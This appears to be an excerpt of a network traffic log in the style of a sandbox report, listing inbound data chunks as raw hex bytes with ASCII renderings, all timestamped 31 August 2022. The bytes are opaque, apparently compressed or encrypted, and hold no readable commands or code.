2022-08-31 12:29:00 UTC	3543	IN	Data Raw: 90 60 00 ce 63 63 6d 9b 67 c0 72 15 99 c1 ee 69 26 8b 95 fd ee ad 76 0a 3a 46 70 ed e9 30 78 ba e2 b5 70 7b a1 cd ae 0e ce a6 7d 1f 0f cf 7c 78 f4 ab 0b 65 3c 25 61 a5 a6 8c 9e 70 f3 66 b6 10 94 32 62 c8 59 d3 69 be e8 b6 0a 66 47 11 30 ef 35 16 a1 a8 ba 31 92 ee 73 8e 50 8c 22 c2 08 6c 58 01 09 ba de fb 08 86 c3 e4 5b 25 9e 70 14 a0 0e 64 e9 57 48 d1 ad 93 0e 66 4c f5 4c d2 40 4b dd c5 b5 96 5b 67 f5 28 2f 6f 94 6c dd 0e da 00 ec 46 05 5f 94 53 c3 76 19 07 30 76 e3 a3 ef 67 50 71 bb 48 fd 00 cc df f6 48 e7 3a 3c c5 38 3f 3a e4 ed ae 9d 34 86 bd d3 f7 4a 8d 10 90 40 cb f5 4b 70 4c ec 50 5e b6 48 fe b2 e0 ab b2 1b c6 5d 0a 76 3f c8 8b 03 49 95 ae ff 24 bf 47 39 35 41 8c e3 21 9e 40 89 a4 a4 31 e5 07 de 7a 1f 21 6e 12 04 c6 7e 77 c8 98 29 6f 31 a2 61 75 22 Data Ascii: `ccmgri&v:Fp0xp{}\|xe<%apf2bYifG051sP"lX[%pdWHfLL@K[g(/olF_Sv0vgPqHH:<8?:4J@KpLP^H]v?I$G95A!@1z!n~w)o1au"
2022-08-31 12:29:00 UTC	3559	IN	Data Raw: b9 f0 6d 3c d6 14 95 b0 a6 26 49 22 88 60 03 82 26 57 53 f7 7d 41 3e 84 f7 f5 bf 87 14 17 3c 33 ba 03 74 f4 4a b6 71 58 26 50 2b 65 23 a6 8d ab bb f4 08 18 37 d8 67 e5 31 53 31 1f 64 4e 84 da 5d c0 be be ae 01 b8 fb 71 16 57 7c b6 3a 79 13 3c fe 6d 13 6e bb bb 93 51 6f 9a da dd 15 94 62 d1 e5 16 6f d7 11 f8 6b 3d 2a af 6b d6 f1 1a b9 37 a1 d8 15 3d 5b 65 8e b5 f8 55 30 6e ba 39 e5 58 23 8d d8 98 f6 35 12 ee ee 3c f8 bf f6 8a 7c 4d 64 0f d5 19 e0 21 de e4 0e ce ad 11 7f 3d 48 6b 95 0a 83 ab c7 ef 3b d2 92 24 2d b6 2c 1a b6 9e 82 ca d1 e7 62 58 66 f8 e3 0e 1c 0c 6c 97 43 ae 3a 1b 1a ed 7b 4b 57 6d af 5e 55 32 9f 1d 29 b4 73 5b ea 1b f3 c2 be 2c 7f 15 75 74 75 00 4b 5b b6 c4 27 e1 3f cd 26 64 b0 a8 26 56 50 37 91 33 67 d6 af aa 81 2c 35 ee 75 b3 4b 8b 46 9a Data Ascii: m<&I"`&WS}A><3tJqX&P+e#7g1S1dN]qW\|:y<mnQobok=*k7=[eU0n9X#5<\|Md!=Hk;$-,bXflC:{KWm^U2)s[,utuK['?&d&VP73g,5uKF
2022-08-31 12:29:00 UTC	3575	IN	Data Raw: f4 a7 98 cc 4d 90 a1 0f 44 b5 fa fa 00 86 13 74 d2 6e eb 6a 09 e4 bd 5d 1b 7e c3 6a 02 9c 64 f2 5c 03 be f0 84 26 c0 64 ab a2 21 d1 ed af 4c 13 6e 5f 7a 11 8c bd 90 12 62 14 b1 9f d5 e2 65 cc 4b 03 6a 8a f6 a1 15 fb 67 ff 23 80 fb f6 06 7b f4 70 a0 b2 dd b6 f2 26 52 e8 36 5e 10 33 d8 53 a5 10 0f 78 6e ef e7 38 12 5d 31 3f 0e 45 ec d4 70 ee 46 25 b4 60 4f 5a cc 01 c5 e4 b0 6e 4f 29 2f 53 d7 18 34 61 e9 db f4 3f 8b 1b 29 62 5f 26 0e 99 79 7a a7 6a 39 f7 33 6c 8a 35 92 55 0b 22 18 f5 6f ab 0d 1f 31 a1 ea 28 97 a4 72 72 f2 62 fc e9 e6 cd bb 51 d4 73 8d 12 90 88 f1 46 13 64 08 1f 14 c6 a5 fd ce 46 8c e1 7b 9f b2 9e 48 0c 71 50 37 5a 27 1e 49 32 d7 bc ba 91 87 b7 4b 74 d2 39 eb c8 bd 25 9e c7 85 07 89 cd 10 08 81 74 ea 9f b6 63 80 4d 2f 06 6c d0 5d b2 25 c1 a3 Data Ascii: MDtnj]~jd\&d!Ln_zbeKjg#{p&R6^3Sxn8]1?EpF%`OZnO)/S4a?)b_&yzj93l5U"o1(rrbQsFdF{HqP7Z'I2Kt9%tcM/l]%
2022-08-31 12:29:00 UTC	3591	IN	Data Raw: 3c cd 8f 3c 44 18 00 54 35 56 3e 79 e6 9a 5b 78 de 00 eb 0d 64 3d 84 fb f4 59 3d 5c 43 77 0f 63 19 31 06 2e 89 b5 35 ea 2b 1c 7d fb 55 c5 33 ec bf d5 53 ac 50 3b cc 09 07 22 c5 d8 e3 06 7a 40 0e 8f f4 07 6d d9 56 66 6d a8 4f 55 cd ef 44 44 70 b7 87 ea 4f 47 42 7b a8 b5 0e b4 d2 af 46 5e 1e be 76 d1 a1 9f 1e 47 d1 1a d1 87 c3 c3 e7 88 9e 42 76 67 0b 0d 13 99 23 ff 9c bb 2c c8 94 06 54 67 b8 a5 ec eb 82 ff 4e 6e 01 9c bd 00 2c 4c c7 61 97 a4 92 12 dc 1f 3b 78 b0 ef 4c 5d b4 97 27 3b 50 ed c2 05 88 92 08 d5 2b bd f4 a2 f8 76 15 f6 9a 40 81 85 31 93 4a 35 9c 3f 72 b7 94 b5 7f f4 6e e4 3a bd fe 1a 85 7e 49 30 53 1e d5 44 95 6d 46 af 3d 3b fb 77 57 94 0c 6c 5e df 40 c6 5a 5c 44 c2 3a fe c4 f3 b0 5c 3f 58 61 67 51 84 c0 8d b5 c6 29 31 d6 46 d2 be c1 cb 4d ea e3 Data Ascii: <<DT5V>y[xd=Y=\Cwc1.5+}U3SP;"z@mVfmOUDDpOGB{F^vGBvg#,TgNn,La;xL]';P+v@1J5?rn:~I0SDmF=;wWl^@Z\D:\?XagQ)1FM
2022-08-31 12:29:00 UTC	3607	IN	Data Raw: c8 0d 93 7e 02 f2 23 f8 30 ad 0b 65 05 cf 17 d9 d7 5f 5a d1 3a 67 1c ae c5 9e 72 fa b0 b7 d0 e3 c6 85 32 9c 86 9d a1 37 b7 bb 80 86 70 5f 49 69 52 a5 41 23 71 cc 5b ad 5b f1 ad 7f 20 0f 93 5e 41 78 56 25 7f 0a 78 ae e6 f5 0a ed 81 91 d6 5f 86 20 19 73 35 52 44 6e 8c 1f d1 41 ea e6 da f2 36 96 8d 52 50 12 79 7a 63 91 ad 53 c3 8a 69 bd ba bb 11 b1 bf 98 a1 e6 6b 95 81 79 e1 0d ab 12 5b fb e1 0e b5 c0 e0 4c c6 d4 d9 e4 20 4f 9f aa 55 1a 1b 61 52 c4 ab 17 72 eb 43 93 c4 56 b6 0c bc 17 c7 08 f7 48 57 a1 51 ad e1 6f dc 6b d4 76 11 ea 4c ac f7 85 c2 fa af 8c 64 6d b4 af dd 3b c8 a7 c4 be 1a 23 de 2d 16 6c 3e 9d 48 a6 0d 31 83 d0 4c cf cb 87 e0 39 87 8e ee 81 35 95 32 69 8e 03 58 a2 a3 0c 3a d9 ba 2b ee a0 b2 1d fd 8f 54 f4 9c 6a 70 d0 01 9a a0 9e 96 e1 1d f3 03 Data Ascii: ~#0e_Z:gr27p_IiRA#q[[ ^AxV%x_ s5RDnA6RPyzcSiky[L OUaRrCVHWQokvLdm;#-l>H1L952iX:+Tjp
2022-08-31 12:29:00 UTC	3623	IN	Data Raw: 6b 48 b7 30 b3 29 4c 18 2a c4 2b 42 20 24 09 a7 f6 62 de 06 17 a6 39 86 25 5d 7b 58 42 4a 86 3e 88 98 89 64 19 37 5c eb b4 ed 80 66 7c d2 ad 08 22 d9 fd c3 16 a1 3c 1a 1a 63 79 51 d3 68 ba 5d af 49 0b 6f 7d 45 6c 35 b8 72 42 78 a9 aa 26 80 c9 46 3a bf a1 e2 30 a9 67 1d b6 94 37 fb 10 fe 0d 4e 08 70 1a 3c c3 82 86 20 44 8a 1c 65 14 7b 62 07 55 96 a1 25 5b 61 32 2c dd a7 b4 ec b6 b6 10 cd 72 6a d4 ea de c4 aa 10 87 f5 8a e7 cd bb 40 96 94 26 51 9b 27 2c 0a 9a c4 91 31 f9 05 6d f4 a9 30 f2 58 d5 1e ad 09 48 f6 74 be 2a 9f 4c 2f 5b fc 0c 48 16 1d e9 f6 2e c6 3b c8 cf c9 3e 32 f4 4d 26 fa 51 25 b0 31 7f d4 75 cf 5a f8 d3 b4 13 d9 61 13 ad 36 8f da 67 e3 e6 8d 51 20 c4 66 f0 aa 28 dc 09 66 6a 86 29 b0 07 d6 9a e4 a7 23 9a 38 34 08 7e 98 04 44 49 76 81 6f 99 27 Data Ascii: kH0)L+B $b9%]{XBJ>d7\f\|"<cyQh]Io}El5rBx&F:0g7Np< De{bU%[a2,rj@&Q',1m0XHtL/[H.;>2M&Q%1uZa6gQ f(fj)#84~DIvo'
2022-08-31 12:29:00 UTC	3639	IN	Data Raw: 55 17 50 e0 4c 69 80 1a eb 9d 0b 85 d2 f0 4d 51 58 fa 6d df 02 f8 64 f3 8c 39 de df cf f7 4c d0 9a 32 0c 9f 5b cf 78 88 13 40 ab 77 4b 1a a8 49 c6 d8 dc b4 48 74 f4 de 3e 5e 8f d1 c0 e0 ca 01 42 58 28 2f 4d 1f b0 de 4f 75 ee 5d f9 9c ef 12 2a 28 44 25 1d 54 07 3e da cd 5f 01 1d c3 53 8e 43 0a 5a 86 c6 59 da 93 ca 12 a7 8a fb 95 c9 18 ae 15 a6 b1 fa 52 67 ca a8 b7 af 2b 6d 12 3b d8 0e 91 7f 73 e8 86 37 25 23 31 9a 5f d9 f3 d4 e5 59 41 c4 84 a1 02 2c 9f 6b 9a 8b a1 47 dc db 13 ab d8 d1 0c d5 a7 be 5a 72 06 ea 04 ea e3 a3 70 a3 ef cf 5f 62 d6 1d eb 2d 94 1c a1 14 29 b3 10 89 e4 f1 28 52 c5 bc 11 55 9c 11 a7 49 22 31 32 e8 8f 48 05 54 e6 da 67 f2 ac ed 2b 55 a4 37 39 58 ea e1 23 21 61 0c 80 43 5a e5 00 70 ef cd 52 d1 bf d2 1b 18 1f 3c 76 2b c4 9c 83 b9 7a 33 Data Ascii: UPLiMQXmd9L2[x@wKIHt>^BX(/MOu]*(D%T>_SCZYRg+m;s7%#1_YA,kGZrp_b-)(RUI"12HTg+U79X#!aCZpR<v+z3
2022-08-31 12:29:00 UTC	3655	IN	Data Raw: 36 04 fd ef dc 7d eb 74 7d cd 79 4e ca 78 88 f1 32 82 2c bc a2 50 63 a2 94 55 27 7a f1 26 3d 37 84 d0 e5 c8 9a 50 f7 5b f4 04 b4 9b 87 7b 41 e2 3f 7e dd 3e e2 5f 13 7c 02 07 79 93 06 6b d3 5f df ff 51 f5 56 b3 a6 51 3c 08 00 e1 05 2f ce 26 72 4f 42 6e 48 2f 0c 0e 77 42 27 36 6f 32 35 80 52 9e 81 34 31 60 6a 5b c8 28 ae cb cd 4e 75 96 45 fc 10 7f eb 92 9f 7d 93 e6 1b e4 81 f4 83 ff b0 86 03 44 da 4b 26 95 db d8 50 87 12 77 43 29 d3 6c 85 4b 96 e5 50 dd 3a 44 44 6a d4 5e ea 61 71 bb 58 64 f3 7e 4c 1a a6 0d c1 5a bd 33 fd 72 ae 74 12 a0 16 27 81 f4 85 c8 de 51 9d 64 d5 f4 ca d3 cf 30 3d 8a 8f f4 94 c1 38 63 d2 f4 94 13 ef 61 db 3d 01 2b d6 87 61 52 6d 4c f8 4f 77 5e 95 e4 42 82 d1 55 5a b4 f4 fc 90 df be e0 46 d2 58 1c 0d 28 e3 e2 e8 36 80 a9 61 7c 81 a1 d7 Data Ascii: 6}t}yNx2,PcU'z&=7P[{A?~>_\|yk_QVQ</&rOBnH/wB'6o25R41`j[(NuE}DK&PwC)lKP:DDj^aqXd~LZ3rt'Qd0=8ca=+aRmLOw^BUZFX(6a\|
2022-08-31 12:29:00 UTC	3671	IN	Data Raw: c9 ad 40 5d 67 1a b3 3e 12 11 8d 97 19 8d 02 0c 9d 88 00 f9 24 4b 4f 0c 7f 4d a9 33 80 79 12 d4 cd 5e 81 31 f0 b3 c5 89 1b b5 dd 54 46 e9 00 98 45 fb 88 cb 37 de 3f d3 ff 60 ef 36 af a2 ef 6b ef b7 fe 31 1a f0 13 92 c4 9e 7b e6 03 8b 42 51 d7 a2 1f b9 c0 0a bb cb fc a0 73 f6 93 78 92 04 27 b2 de 52 4e 23 72 00 56 3c 31 75 aa 56 73 65 fe 76 d6 a2 26 62 9e 1a e6 d1 42 35 01 60 ea 1a 1a 8b 23 15 12 a2 49 46 3e b0 92 ed 2b 23 c8 3c 54 00 b0 92 46 0e c1 6d 6a 65 1d b3 c7 1f 4d 96 08 ae 71 13 8c 25 b9 60 d9 8a b7 d5 ca 12 53 02 bd bd fb cc ac ba 3e cc f7 28 1a ed a7 a0 f2 13 b3 37 13 5f 45 b3 49 8d d2 ce b9 af 43 81 18 83 1c 7f aa 8f 90 df 65 38 ea 54 47 cd 98 41 49 1d 2e 01 7e 75 0c f0 63 be 09 d6 60 c0 f1 ac 1a 33 81 6b 84 fa 3f ef 85 0d f8 1e 5f 6b cf 10 28 Data Ascii: @]g>$KOM3y^1TFE7?`6k1{BQsx'RN#rV<1uVsev&bB5`#IF>+#<TFmjeMq%`S>(7_EICe8TGAI.~uc`3k?_k(
2022-08-31 12:29:00 UTC	3687	IN	Data Raw: 5a 00 51 cd 55 16 a5 b5 8f 1e 53 1e df 67 30 22 70 56 90 45 ed 3f 1e a2 2c 3f 10 aa 72 20 45 7c 12 ac db 8e fd d0 7e e1 88 17 f7 3f 64 50 b6 40 bc e9 b2 99 fe 51 b2 f5 1a a4 0a f8 d5 c0 21 bd b2 3b b7 3b 6a 84 2a b9 6e e7 d0 1c 28 a6 69 f8 26 05 72 79 3b 89 36 fd f2 80 7b ed ab 67 8e 64 e5 b7 2d 75 c1 f0 4f d0 be 5e e2 ec 0f 44 59 37 e5 b5 af 0c f7 58 9f 62 b7 2f 72 a1 f1 2f 9c 25 1a b2 81 c7 77 8f 95 14 95 da b6 e3 c5 84 82 fb af 24 53 68 e1 1d c8 61 fc a5 19 49 71 fa f3 46 9d a9 cf 5d 67 55 7d af a4 fe 17 9c e3 a2 aa 52 e0 75 f3 55 a5 c5 88 a8 2d ff 4f 02 1d 9d 6a 86 fe 8e 78 a7 b2 41 2f c2 30 5f a4 fd 10 56 f5 12 e9 07 37 57 a4 0c 97 eb 98 03 f6 ea 54 3c d8 90 df 85 6d e9 66 db 91 7b a4 5e 58 cf c8 e6 8b 4b 80 2c e1 d8 96 c1 f1 72 48 98 4b 42 d6 63 e0 Data Ascii: ZQUSg0"pVE?,?r E\|~?dP@Q!;;j*n(i&ry;6{gd-uO^DY7Xb/r/%w$ShaIqF]gU}RuU-OjxA/0_V7WT<mf{^XK,rHKBc
2022-08-31 12:29:00 UTC	3703	IN	Data Raw: a4 1a bc 00 a3 00 d5 35 29 49 e4 67 97 88 c0 06 87 dd 52 c3 0a 1f 3e 2c 75 d3 d2 c1 8d 07 57 a7 03 37 50 15 69 aa 58 a1 be 7d 21 a3 90 0d 12 08 3b 83 02 c9 03 17 07 0e 28 70 6c 48 88 5a c0 61 76 ef 8d 13 a9 09 7f 8a 94 00 e3 b7 3f 1f 47 cf c9 6d 5f 84 9a 93 16 00 07 46 49 3c 46 61 43 57 e8 25 2a b0 f4 06 c7 13 ca 14 e6 b6 9e 4c 9a fe f5 a2 8b e6 af 02 7c 1b d4 94 bf ec 68 8d 13 2c 91 bd 66 db 36 6a d1 dd 44 ee b2 2e 17 c1 ce 7a bc 76 21 01 e6 cc 23 30 5f 2f 32 92 3a f0 66 56 99 d1 9a 77 3a da 50 c5 f1 10 08 80 b8 9f b5 97 29 4d dc 25 2d 0b 43 13 21 c3 1d a2 5f ff 4c 87 9a aa d5 57 2f 2c 5d a1 75 3e 0f e4 ea aa e2 cb ce b1 c6 09 60 71 2f 02 67 3c 34 13 1b b3 be e5 27 e4 f0 36 5e 9c 03 16 5b f6 d3 aa 99 ff 06 ad 81 35 1d db 25 1c 4a c9 3e 2d 54 8b 4f 1a b6 Data Ascii: 5)IgR>,uW7PiX}!;(plHZav?Gm_FI<FaCW%*L\|h,f6jD.zv!#0_/2:fVw:P)M%-C!_LW/,]u>`q/g<4'6^[5%J>-TO
2022-08-31 12:29:00 UTC	3719	IN	Data Raw: 23 04 7c 0f b9 9c a5 86 65 53 ac 03 89 0c a0 47 5e 90 97 a4 d8 81 f7 16 ae c1 af 92 fc 72 67 33 35 a9 ac a9 08 8e a9 66 94 3e 86 50 74 19 2d ac 37 62 1f 11 52 4c 35 87 0a 96 8a 96 ce b5 9d 88 1e 98 bd 5d 3c bf 88 f4 2d fd ba 1b e7 fa a7 e7 e4 b3 b2 10 74 16 83 d6 f7 c9 10 cb 57 03 b4 43 0c 60 88 d4 36 73 91 f7 5f b0 d5 e3 22 95 5c 9d 45 e9 2e 03 a5 7b 34 b1 fe 92 4c a3 8e 19 8f 35 27 42 32 50 53 8e 09 df 5c f6 3e 77 61 65 7a 3b 32 d0 25 87 1a 05 fb 13 b7 43 73 d5 11 6a e5 ec a2 02 11 75 3c 05 e1 e6 18 43 d9 4b 09 1d 7f 69 d5 46 39 b5 36 5c 52 e4 b0 31 2c 40 ee 8e 89 99 3c 67 c3 c6 30 16 a6 6f 53 f4 51 d6 d3 68 94 f9 da d3 63 f5 b3 ef 54 c1 ee fb 6f e6 28 0b d7 60 81 72 03 64 57 50 d5 42 ee 60 89 69 1f 05 a3 5a b0 02 87 60 71 96 42 9f 7d f3 94 a5 5a 5f 77 Data Ascii: #\|eSG^rg35f>Pt-7bRL5]<-tWC`6s_"\E.{4L5'B2PS\>waez;2%Csju<CKiF96\R1,@<g0oSQhcTo(`rdWPB`iZ`qB}Z_w
2022-08-31 12:29:00 UTC	3735	IN	Data Raw: 66 aa bc d4 81 1f 81 f0 54 c9 5c 80 3d 82 aa 7e 93 03 d2 ad d2 25 3b 47 b1 cf 57 80 3c 12 d7 b9 62 75 45 a7 53 80 26 96 15 ab fe 82 cf 68 bc 1a ad d6 2e e8 fa ff c1 34 f7 b3 69 71 3a 53 87 a3 58 e3 b1 f9 05 b6 68 e5 ad 57 a4 54 c5 eb eb 34 45 ae 51 69 15 72 54 e8 7d dd 1d 95 17 7d 24 a4 56 d3 37 88 97 66 b9 6d e4 a7 76 52 59 da ea 07 29 b5 ce 82 6f 12 a1 69 c4 a0 e9 b7 45 df fb d0 33 46 57 ed e2 2a 6d 30 68 d8 d8 5e 21 dc a4 3d 21 97 c8 64 86 13 0c 79 e0 97 50 66 f2 7b 87 0d a7 e9 1c 1e 4b 43 d8 9c 53 09 fa 0b 55 be 96 06 15 c5 28 6f b4 2a f4 21 ff 30 00 b0 d0 86 d4 a8 21 9e 74 1f e9 46 f8 ee 33 35 aa 9b f3 f5 9f f0 db 81 42 1c 16 14 b0 ff 3f 8f fa 71 d8 03 14 76 cb 68 84 e1 04 12 60 a0 be d6 a1 43 ad 0a 61 2a 98 ad 67 1c 75 b1 76 ba d6 a8 6a 95 ca fb e4 Data Ascii: fT\=~%;GW<buES&h.4iq:SXhWT4EQirT}}$V7fmvRY)oiE3FWm0h^!=!dyPf{KCSU(o!0!tF35B?qvh`Ca*guvj
2022-08-31 12:29:00 UTC	3751	IN	Data Raw: 0f 78 06 e6 4b e4 c0 15 9b 79 23 eb 7e e2 19 70 27 b5 8a 30 f4 99 80 f0 21 69 3d c6 a4 cb 1e f0 e4 a3 89 69 24 6a 4f a7 1e ac bd 4c 50 7f a4 67 da 8f 57 a5 95 72 5a 8f 17 04 63 55 59 8c ba 58 b3 b2 c3 98 68 c7 87 a2 67 18 81 c7 bc 85 63 d0 0d 92 37 63 6a da d2 00 0e ae 75 56 90 1e 92 3d 4c 77 89 72 4a 28 41 e9 fb d7 5e 2c cf 10 f7 c5 da 9a 73 79 3b c1 93 d9 f7 02 73 ad bb ac fb 77 49 b8 90 a4 45 5a 2e 4c 5a e8 23 f5 d8 98 94 ce ec 42 4e bf ac 84 ec 81 7a b3 0a 59 9a dc 37 78 4c bb 10 f6 46 28 51 d8 30 5e 07 86 ce 4c bb f3 df 5d f1 30 4b 1d 07 9a c1 93 af 10 d2 95 33 93 d9 f8 e0 f4 23 00 38 dd d4 0c 24 db 6a eb a0 34 da 83 6e 64 b8 f7 11 99 45 55 27 bf 48 ba 2e e0 5a 9c 21 28 b6 0f f0 f3 e1 04 15 43 c9 06 ee ca 84 ee bf 24 ef 6e ec de a5 3e 24 ef e2 47 4a Data Ascii: xKy#~p'0!i=i$jOLPgWrZcUYXhgc7cjuV=LwrJ(A^,sy;swIEZ.LZ#BNzY7xLF(Q0^L]0K3#8$j4ndEU'H.Z!(C$n>$GJ
2022-08-31 12:29:00 UTC	3767	IN	Data Raw: fb ab 56 b6 fb 13 f3 e9 43 81 cd c8 20 cd bd e9 e7 aa cc d7 74 98 ce b7 c3 84 25 ec 9e 9e 98 2d f1 ac 70 e8 14 1f 93 57 30 f0 5d 4b 00 fb 55 04 59 2e 3a 2c bf d5 14 39 63 fa 9c 41 bc f8 a3 ad a7 d0 ae 34 d9 d2 22 23 10 df 17 a8 5e d8 3a db ac fa b1 89 ea 61 06 ad 07 57 1b d0 f2 02 4f 63 f7 cf e5 d5 d1 1a 2c ed 7b 9e 7c f8 97 77 86 b3 dd b7 be 73 c9 99 2f d3 b9 c2 1c 89 50 1d 57 18 fa 3c be 91 c6 a1 59 87 63 f3 13 da b3 33 7f bc 10 c9 47 de 4c 03 b3 2e e5 fb b6 e8 1d 47 0f 06 38 83 9f 1c a2 fd 25 82 7c 53 28 35 1f 5d 19 9a 9a 8e f7 65 c9 32 b7 46 40 75 9b 2c 92 58 58 ab 00 2d 59 28 04 6c b4 78 a9 81 1d f7 09 f0 f3 bf 13 56 2c 7c ee cf 25 c9 d2 c6 49 84 48 5c 77 00 96 8f a0 26 06 ef 11 7e 28 30 7b e3 45 eb ac 44 db 86 ff 77 84 4b b2 4f 9e df b7 53 ae d5 98 Data Ascii: VC t%-pW0]KUY.:,9cA4"#^:aWOc,{\|ws/PW<Yc3GL.G8%\|S(5]e2F@u,XX-Y(lxV,\|%IH\w&~(0{EDwKOS
2022-08-31 12:29:00 UTC	3783	IN	Data Raw: fe 62 ae 4d d1 d9 79 ea 08 ce d3 bd a9 c8 8f 3a 6d a7 61 d2 a9 67 fa e1 cc 0e f7 86 ac 98 a2 09 60 26 1c a7 cb 41 05 a8 a1 21 ef 80 c7 60 a3 8e 4f 59 48 14 db ea ae 7b db 67 27 db d5 d8 a5 93 27 56 0f 89 e2 fe cb ba a1 cf f4 81 47 71 66 64 92 e4 e4 d1 2e c1 05 e0 0c c3 43 80 2a 30 b9 86 f2 0f 83 26 a2 1b bf 3c c4 21 b9 94 7b 9c 87 cf cc 07 78 2d 46 71 7c 95 f5 fb 68 56 1c 28 3a 1c 5f 6a 51 e8 00 05 11 c6 31 e8 55 58 63 36 1e 6d fb a9 a5 a8 bc fd f3 67 a5 42 02 39 d1 54 72 2c 8f ab d7 a7 3e 58 58 b1 de 87 42 eb d2 5d 44 11 f3 4e 27 b5 9c 41 95 15 56 3f f4 87 ce 65 36 c7 eb 5b 3e f1 bf 7e 9f e8 26 ac 7d 85 90 66 09 03 3b ba 8e 4e 7d 69 40 e9 b0 7a a6 43 f1 e6 5c de ed 8a ed cb e3 56 b4 de e4 18 9f 2b 70 14 aa fa ab de 41 81 91 d8 25 2e b8 a2 53 58 84 95 b2 Data Ascii: bMy:mag`&A!`OYH{g''VGqfd.C*0&<!{x-Fq\|hV(:_jQ1UXc6mgB9Tr,>XXB]DN'AV?e6[>~&}f;N}i@zC\V+pA%.SX
2022-08-31 12:29:00 UTC	3799	IN	Data Raw: 41 eb 3b 23 13 47 1c 3a 42 fc e3 49 ac 00 47 67 f2 e7 57 6d ea 9f c1 20 e6 92 02 ea 76 0a 6e 55 ba d2 6c 94 77 69 59 cf 85 2a 21 78 19 f1 74 96 93 95 7a 00 20 a0 82 1e f5 d5 5f b3 f5 c4 68 dd ac b0 b9 b6 7b b4 a0 1e d8 e2 e1 4e 82 ad d4 22 83 3e 32 a6 c1 33 67 3b e3 9a f2 69 49 92 c7 71 cd 04 88 6c a2 5f 47 3e 51 6a b0 8d ee 19 4e 6a c6 07 19 ee 4b 4a 25 d2 45 51 a9 87 85 9e c0 84 6b 5f a1 af 36 cc aa a6 6c 48 da 01 83 6e 39 ab 0f d3 e9 e4 b1 61 9e 82 6c dc 64 67 f7 9b 0d 17 4a 23 ca 5c 2d c1 c5 2a 96 14 04 68 e9 23 1f 86 85 d4 e3 5b 71 98 5d 07 9c 07 30 f4 50 1c 06 f1 4c f0 e6 e3 c8 a4 94 91 1b 7f 3f f9 30 38 70 5e 60 49 3d 45 7e 11 7e 80 80 4b 3f bb 32 5b 51 69 16 e1 60 41 84 9b 1a 7e 1f 8d 0f 6f c1 97 c3 40 85 c5 ef 09 d9 b0 f8 a1 b7 5b ef 21 8c 38 84 Data Ascii: A;#G:BIGgWm vnUlwiY!xtz _h{N">23g;iIql_G>QjNjKJ%EQk_6lHn9aldgJ#\-h#[q]0PL?08p^`I=E~~K?2[Qi`A~o@[!8
2022-08-31 12:29:00 UTC	3815	IN	Data Raw: 06 07 2e 07 03 d5 94 c6 af e8 75 91 c7 7a e2 d4 8d 2c b8 bb e8 8a 23 3d 17 d2 ff 00 2d 8f b9 43 15 5d 1a c9 ea ac 53 29 aa 9a 9a 2e 5d bb b3 ff 6c b7 ce e3 ab 8b 9f be df 90 e8 5b 3a 24 7d 50 31 f1 a1 63 8a 66 4e 30 99 38 b4 ca 33 ef 67 33 3f df 39 f2 78 43 a3 77 30 4c a0 d9 47 96 7a 5b 16 80 10 b8 ff e3 a3 9d f2 2d f3 48 58 2f d6 e7 3f 17 c0 19 e3 9e 33 f2 21 1a 0b d7 da 3a f2 45 9a 9e 21 56 32 54 7c 5a fb 64 db de be f3 fe 03 8f ac 02 a4 8b 5a 0c f4 a4 ce 54 9b 0e d9 50 07 15 eb bc 45 43 cb e4 fd 35 ad e4 aa 99 83 ed 64 cf 07 7e 0f e2 f6 b1 e2 2f 78 53 fb cd cf e3 3b f9 de a7 6e 0b 02 30 c1 f8 22 4a cd b8 63 58 66 d5 cc 95 6e 2c 8f 06 6e 0d ed 33 75 f3 4b 50 11 6c 6b 54 3b 22 b3 60 8f 47 14 85 d4 88 8f bd 95 12 c1 db 02 10 1e 7a 73 c9 57 16 9e 74 71 e6 Data Ascii: .uz,#=-C]S).]l[:$}P1cfN083g3?9xCw0LGz[-HX/?3!:E!V2T\|ZdZTPEC5d~/xS;n0"JcXfn,n3uKPlkT;"`GzsWtq
2022-08-31 12:29:00 UTC	3831	IN	Data Raw: 1b cc c3 2b 9f e5 ae 77 ac 7a 7b e7 09 df 4f 3b 1f 1b dc c9 b3 75 03 c9 2f 69 d8 d6 fc 00 c5 01 b0 b5 43 20 1a 9b 06 bb 47 3a 9d 49 fa 26 ac 4a e6 61 1e c6 df 6a 71 78 e1 07 46 2f ba 64 6d 2e 2d 8f ad 08 88 35 42 df 71 fb ac cc 34 8b b7 a9 a4 70 69 bb 3e 87 a4 73 07 1d 87 9e f0 18 f1 ec ec 20 36 d7 bf 33 c0 95 5f 2b 9e 7d bd ec 89 fe dd 40 a4 02 11 84 b9 2e 0b 4b 11 01 0d 5d 00 28 98 07 f1 b3 68 d0 5d aa 51 83 17 d9 c8 be 32 db 35 56 e6 a8 43 96 b0 46 88 4a 4e 04 2f 1e a1 38 c2 77 29 ce 32 5b d3 ea a9 4b bb 0d 45 aa 84 6c ee 48 29 4e 25 8f 07 c0 a3 81 69 bc 0d da 9c 38 65 c6 d4 ae 55 f9 25 46 4f 28 a9 27 d0 1f 3b 7c 17 0c 84 08 eb 4f 64 68 fe 9d a5 e1 bf 10 dc df 3d d4 90 eb af d7 9e c2 c8 e0 87 a6 e1 27 5c 04 e2 c8 6c 44 7d 1a 9a 13 18 d9 1d 55 4f 38 f0 Data Ascii: +wz{O;u/iC G:I&JajqxF/dm.-5Bq4pi>s 63_+}@.K](h]Q25VCFJN/8w)2[KElH)N%i8eU%FO(';\|Odh='\lD}UO8
2022-08-31 12:29:00 UTC	3847	IN	Data Raw: 52 91 c1 dc 13 05 9c 42 11 9a 0b 8e bc fe 7e 03 55 50 74 af b2 49 fa 11 6f 9b a2 f0 d8 66 c2 93 13 bb e5 17 51 7c 2d 25 43 87 54 fc 53 2a d1 8f 90 f0 b2 59 c1 51 fb 81 43 9d 7b aa 1a 10 50 ba 20 db a8 45 94 b0 4f 57 a8 87 63 c8 b6 3e b1 9e ca e5 52 8d 19 b3 e9 e4 00 31 a2 07 56 73 bd 1b 06 08 62 ea 97 f0 2f 15 c8 15 b0 f3 fe 74 4c fc 40 4e 43 37 dd 75 85 84 4f 3a 9b af 6f df 3e 05 83 89 03 35 1e 43 8c 13 fa 26 bc 5b cf c0 f2 ef ce 4c 8d ee ef 96 fd f0 0b 04 93 e7 8b 7f 04 fd 01 84 46 c2 04 73 3f b5 f8 95 ce 21 1d a3 1c 4f 53 38 7f bc 2b b1 51 a2 33 a3 86 ef 86 e3 e5 67 04 d4 b6 1e 48 8b 1c ee 0a 9e 86 4f 54 77 1d f0 99 28 b0 88 f5 1a 54 41 83 5e 69 63 56 6a 8c 87 2e 8d 47 47 9e 40 03 cc da a9 b7 af 50 a8 31 67 a3 e2 43 aa 4c 03 68 3a af 8b 6f cf 76 44 c9 Data Ascii: RB~UPtIofQ\|-%CTS*YQC{P 